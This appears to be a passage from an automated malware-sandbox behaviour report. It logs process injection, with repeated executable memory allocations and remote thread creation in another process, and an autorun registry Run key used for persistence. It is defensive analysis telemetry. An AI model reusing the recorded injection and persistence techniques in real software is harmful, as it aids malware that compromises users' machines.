NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 495616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72480000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00110000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00010000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00020000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00120000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000d0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00100000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00180000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x001d0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x001f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00200000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00210000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00220000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00280000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00290000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002a0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002b0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002d0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00300000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00310000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00320000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00330000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00340000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00350000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00360000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00370000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00380000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00390000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003a0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003b0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00430000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00440000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00450000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00460000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00470000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00480000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00490000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004a0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004b0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004d0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Csigvgm

reg_value

C:\Users\Public\Libraries\mgvgisC.url

Creates a thread using CreateRemoteThread in a non-child process indicative of process injection (50 out of 289 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 896 created a remote thread in non-child process 2200
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2320 process_identifier: 2200 function_address: 0x000b0000 flags: 0 stack_size: 0 parameter: 0x00000000 process_handle: 0x00000578	1	1408	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2316 process_identifier: 2200 function_address: 0x00120000 flags: 0 stack_size: 0 parameter: 0x00020000 process_handle: 0x00000578	1	1408	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2544 process_identifier: 2200 function_address: 0x00100000 flags: 0 stack_size: 0 parameter: 0x000f0000 process_handle: 0x00000578	1	1404	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2332 process_identifier: 2200 function_address: 0x001f0000 flags: 0 stack_size: 0 parameter: 0x001e0000 process_handle: 0x00000578	1	1416	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 1792 process_identifier: 2200 function_address: 0x00270000 flags: 0 stack_size: 0 parameter: 0x00220000 process_handle: 0x00000578	1	1412	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 508 process_identifier: 2200 function_address: 0x002b0000 flags: 0 stack_size: 0 parameter: 0x002a0000 process_handle: 0x00000578	1	1420	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 276 process_identifier: 2200 function_address: 0x002f0000 flags: 0 stack_size: 0 parameter: 0x002e0000 process_handle: 0x00000578	1	1424	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2540 process_identifier: 2200 function_address: 0x00330000 flags: 0 stack_size: 0 parameter: 0x00320000 process_handle: 0x00000578	1	1428	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 236 process_identifier: 2200 function_address: 0x00370000 flags: 0 stack_size: 0 parameter: 0x00360000 process_handle: 0x00000578	1	1432	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 456 process_identifier: 2200 function_address: 0x003b0000 flags: 0 stack_size: 0 parameter: 0x003a0000 process_handle: 0x00000578	1	1436	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 532 process_identifier: 2200 function_address: 0x00460000 flags: 0 stack_size: 0 parameter: 0x00450000 process_handle: 0x00000578	1	1440	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 776 process_identifier: 2200 function_address: 0x004a0000 flags: 0 stack_size: 0 parameter: 0x00490000 process_handle: 0x00000578	1	1444	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2512 process_identifier: 2200 function_address: 0x004e0000 flags: 0 stack_size: 0 parameter: 0x004d0000 process_handle: 0x00000578	1	1448	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2812 process_identifier: 2200 function_address: 0x00520000 flags: 0 stack_size: 0 parameter: 0x00510000 process_handle: 0x00000578	1	1452	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2412 process_identifier: 2200 function_address: 0x005e0000 flags: 0 stack_size: 0 parameter: 0x005d0000 process_handle: 0x00000578	1	1456	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2264 process_identifier: 2200 function_address: 0x00620000 flags: 0 stack_size: 0 parameter: 0x00610000 process_handle: 0x00000578	1	1460	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2408 process_identifier: 2200 function_address: 0x00660000 flags: 0 stack_size: 0 parameter: 0x00650000 process_handle: 0x00000578	1	1464	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 1784 process_identifier: 2200 function_address: 0x006a0000 flags: 0 stack_size: 0 parameter: 0x00690000 process_handle: 0x00000578	1	1468	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 1624 process_identifier: 2200 function_address: 0x006e0000 flags: 0 stack_size: 0 parameter: 0x006d0000 process_handle: 0x00000578	1	1472	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 1904 process_identifier: 2200 function_address: 0x00730000 flags: 0 stack_size: 0 parameter: 0x00720000 process_handle: 0x00000578	1	1476	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2212 process_identifier: 2200 function_address: 0x00770000 flags: 0 stack_size: 0 parameter: 0x00760000 process_handle: 0x00000578	1	1480	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 1776 process_identifier: 2200 function_address: 0x01fd0000 flags: 0 stack_size: 0 parameter: 0x01fc0000 process_handle: 0x00000578	1	1484	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2760 process_identifier: 2200 function_address: 0x02010000 flags: 0 stack_size: 0 parameter: 0x02000000 process_handle: 0x00000578	1	1488	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2240 process_identifier: 2200 function_address: 0x02050000 flags: 0 stack_size: 0 parameter: 0x02040000 process_handle: 0x00000578	1	1492	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2396 process_identifier: 2200 function_address: 0x02090000 flags: 0 stack_size: 0 parameter: 0x02080000 process_handle: 0x00000578	1	1496	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2392 process_identifier: 2200 function_address: 0x020d0000 flags: 0 stack_size: 0 parameter: 0x020c0000 process_handle: 0x00000578	1	1500	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2404 process_identifier: 2200 function_address: 0x02110000 flags: 0 stack_size: 0 parameter: 0x02100000 process_handle: 0x00000578	1	1504	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2400 process_identifier: 2200 function_address: 0x02150000 flags: 0 stack_size: 0 parameter: 0x02140000 process_handle: 0x00000578	1	1508	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2292 process_identifier: 2200 function_address: 0x02190000 flags: 0 stack_size: 0 parameter: 0x02180000 process_handle: 0x00000578	1	1512	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 240 process_identifier: 2200 function_address: 0x021d0000 flags: 0 stack_size: 0 parameter: 0x021c0000 process_handle: 0x00000578	1	1516	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 424 process_identifier: 2200 function_address: 0x02210000 flags: 0 stack_size: 0 parameter: 0x02200000 process_handle: 0x00000578	1	1520	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2920 process_identifier: 2200 function_address: 0x02250000 flags: 0 stack_size: 0 parameter: 0x02240000 process_handle: 0x00000578	1	1524	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2820 process_identifier: 2200 function_address: 0x02290000 flags: 0 stack_size: 0 parameter: 0x02280000 process_handle: 0x00000578	1	1528	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2756 process_identifier: 2200 function_address: 0x022d0000 flags: 0 stack_size: 0 parameter: 0x022c0000 process_handle: 0x00000578	1	1532	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 1788 process_identifier: 2200 function_address: 0x02310000 flags: 0 stack_size: 0 parameter: 0x02300000 process_handle: 0x00000578	1	1536	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 816 process_identifier: 2200 function_address: 0x02350000 flags: 0 stack_size: 0 parameter: 0x02340000 process_handle: 0x00000578	1	1540	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 1632 process_identifier: 2200 function_address: 0x02390000 flags: 0 stack_size: 0 parameter: 0x02380000 process_handle: 0x00000578	1	1544	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 1580 process_identifier: 2200 function_address: 0x023d0000 flags: 0 stack_size: 0 parameter: 0x023c0000 process_handle: 0x00000578	1	1548	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 1412 process_identifier: 2200 function_address: 0x02410000 flags: 0 stack_size: 0 parameter: 0x02400000 process_handle: 0x00000578	1	1552	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2808 process_identifier: 2200 function_address: 0x02450000 flags: 0 stack_size: 0 parameter: 0x02440000 process_handle: 0x00000578	1	1556	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2748 process_identifier: 2200 function_address: 0x02490000 flags: 0 stack_size: 0 parameter: 0x02480000 process_handle: 0x00000578	1	1560	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 3044 process_identifier: 2200 function_address: 0x024d0000 flags: 0 stack_size: 0 parameter: 0x024c0000 process_handle: 0x00000578	1	1564	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2452 process_identifier: 2200 function_address: 0x02510000 flags: 0 stack_size: 0 parameter: 0x02500000 process_handle: 0x00000578	1	1568	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 1872 process_identifier: 2200 function_address: 0x02550000 flags: 0 stack_size: 0 parameter: 0x02540000 process_handle: 0x00000578	1	1572	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2448 process_identifier: 2200 function_address: 0x02590000 flags: 0 stack_size: 0 parameter: 0x02580000 process_handle: 0x00000578	1	1576	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2736 process_identifier: 2200 function_address: 0x025d0000 flags: 0 stack_size: 0 parameter: 0x025c0000 process_handle: 0x00000578	1	1580	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 2868 process_identifier: 2200 function_address: 0x02610000 flags: 0 stack_size: 0 parameter: 0x02600000 process_handle: 0x00000578	1	1584	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 728 process_identifier: 2200 function_address: 0x02650000 flags: 0 stack_size: 0 parameter: 0x02640000 process_handle: 0x00000578	1	1588	0
CreateRemoteThread Oct. 7, 2021, 5:35 p.m.	thread_identifier: 3008 process_identifier: 2200 function_address: 0x02690000 flags: 0 stack_size: 0 parameter: 0x02680000 process_handle: 0x00000578	1	1592	0

Manipulates memory of a non-child process indicative of process injection (50 out of 1112 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 896 manipulating memory of non-child process 2200
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 495616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72480000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00110000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00010000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00020000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
